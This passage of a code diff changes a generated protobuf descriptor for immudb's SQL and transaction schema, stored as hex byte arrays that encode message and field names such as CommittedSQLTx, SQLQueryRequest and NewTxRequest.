0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x03, 0x74, - 0x78, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, - 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x52, 0x03, 0x74, 0x78, 0x73, 0x12, 0x1c, 0x0a, 0x09, - 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x22, 0xdd, 0x03, 0x0a, 0x0e, 0x43, - 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x12, 0x2f, 0x0a, - 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, - 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x20, - 0x0a, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, - 0x12, 0x5c, 0x0a, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, - 0x50, 0x4b, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x32, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, - 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, - 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0f, 0x6c, - 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x12, 0x5f, - 0x0a, 0x10, 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, - 0x4b, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, - 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, - 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x10, 0x66, - 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x1a, - 0x5b, 0x0a, 0x14, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, - 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, + 0x08, 0x52, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x22, 0x9e, 0x01, 0x0a, 0x05, 0x43, 0x68, + 0x75, 0x6e, 0x6b, 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x3e, 0x0a, + 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x2e, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x1a, 0x3b, 0x0a, + 0x0d, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, + 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, + 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x4e, 0x0a, 0x12, 0x55, 0x73, + 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x1e, 0x0a, 0x0a, 0x61, 0x73, + 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0a, + 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x22, 0x6d, 0x0a, 0x0e, 0x53, 0x51, + 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, + 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, 0x71, 0x6c, 0x12, 0x31, + 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, + 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, + 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x7c, 0x0a, 0x0f, 0x53, 0x51, 0x4c, + 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, + 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, 0x71, 0x6c, 0x12, 0x31, + 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, + 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, + 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, + 0x6f, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, + 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x22, 0x4f, 0x0a, 0x0a, 0x4e, 0x61, 0x6d, 0x65, 0x64, + 0x50, 0x61, 0x72, 0x61, 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, - 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x5c, 0x0a, 0x15, - 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, + 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x5e, 0x0a, 0x0d, 0x53, 0x51, 0x4c, 0x45, + 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x03, 0x74, 0x78, 0x73, + 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, + 0x53, 0x51, 0x4c, 0x54, 0x78, 0x52, 0x03, 0x74, 0x78, 0x73, 0x12, 0x1c, 0x0a, 0x09, 0x6f, 0x6e, + 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x6f, + 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x22, 0xdd, 0x03, 0x0a, 0x0e, 0x43, 0x6f, 0x6d, + 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x12, 0x2f, 0x0a, 0x06, 0x68, + 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, + 0x61, 0x64, 0x65, 0x72, 0x52, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x20, 0x0a, 0x0b, + 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x12, 0x5c, + 0x0a, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, + 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x32, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, + 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, + 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0f, 0x6c, 0x61, 0x73, + 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x12, 0x5f, 0x0a, 0x10, + 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, + 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, + 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, + 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x10, 0x66, 0x69, 0x72, + 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x1a, 0x5b, 0x0a, + 0x14, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x69, 0x0a, 0x0e, 0x53, 0x51, - 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x07, - 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x15, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, - 0x6c, 0x75, 0x6d, 0x6e, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x26, 0x0a, - 0x04, 0x72, 0x6f, 0x77, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x6f, 0x77, 0x52, - 0x04, 0x72, 0x6f, 0x77, 0x73, 0x22, 0x30, 0x0a, 0x06, 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x12, - 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, - 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x22, 0x50, 0x0a, 0x03, 0x52, 0x6f, 0x77, 0x12, 0x18, - 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, - 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x2f, 0x0a, 0x06, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, - 0x65, 0x52, 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x22, 0x99, 0x01, 0x0a, 0x08, 0x53, 0x51, - 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x30, 0x0a, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, - 0x48, 0x00, 0x52, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x12, 0x0e, 0x0a, 0x01, 0x6e, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x01, 0x6e, 0x12, 0x0e, 0x0a, 0x01, 0x73, 0x18, 0x03, 0x20, - 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x01, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x62, 0x18, 0x04, 0x20, - 0x01, 0x28, 0x08, 0x48, 0x00, 0x52, 0x01, 0x62, 0x12, 0x10, 0x0a, 0x02, 0x62, 0x73, 0x18, 0x05, - 0x20, 0x01, 0x28, 0x0c, 0x48, 0x00, 0x52, 0x02, 0x62, 0x73, 0x12, 0x10, 0x0a, 0x02, 0x74, 0x73, - 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x02, 0x74, 0x73, 0x42, 0x07, 0x0a, 0x05, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0xed, 0x01, 0x0a, 0x0c, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x0e, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x04, 0x6d, 0x6f, 0x64, - 0x65, 0x12, 0x57, 0x0a, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, - 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, - 0x34, 0x52, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, - 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x12, 0x59, 0x0a, 0x15, 0x73, 0x6e, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x5c, 0x0a, 0x15, 0x46, 0x69, + 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x69, 0x0a, 0x0e, 0x53, 0x51, 0x4c, 0x51, + 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x07, 0x63, 0x6f, + 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x15, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x75, + 0x6d, 0x6e, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x26, 0x0a, 0x04, 0x72, + 0x6f, 0x77, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x6f, 0x77, 0x52, 0x04, 0x72, + 0x6f, 0x77, 0x73, 0x22, 0x30, 0x0a, 0x06, 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x12, 0x12, 0x0a, + 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, + 0x65, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x04, 0x74, 0x79, 0x70, 0x65, 0x22, 0x50, 0x0a, 0x03, 0x52, 0x6f, 0x77, 0x12, 0x18, 0x0a, 0x07, + 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x63, + 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x2f, 0x0a, 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, + 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, + 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x22, 0x99, 0x01, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x56, + 0x61, 0x6c, 0x75, 0x65, 0x12, 0x30, 0x0a, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x48, 0x00, + 0x52, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x12, 0x0e, 0x0a, 0x01, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x03, 0x48, 0x00, 0x52, 0x01, 0x6e, 0x12, 0x0e, 0x0a, 0x01, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x09, 0x48, 0x00, 0x52, 0x01, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x62, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x08, 0x48, 0x00, 0x52, 0x01, 0x62, 0x12, 0x10, 0x0a, 0x02, 0x62, 0x73, 0x18, 0x05, 0x20, 0x01, + 0x28, 0x0c, 0x48, 0x00, 0x52, 0x02, 0x62, 0x73, 0x12, 0x10, 0x0a, 0x02, 0x74, 0x73, 0x18, 0x06, + 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x02, 0x74, 0x73, 0x42, 0x07, 0x0a, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x22, 0xed, 0x01, 0x0a, 0x0c, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0e, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x12, + 0x57, 0x0a, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, + 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x52, + 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, 0x6e, 0x63, + 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x12, 0x59, 0x0a, 0x15, 0x73, 0x6e, 0x61, 0x70, + 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, 0x69, 0x6f, + 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, + 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x15, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, - 0x69, 0x6f, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 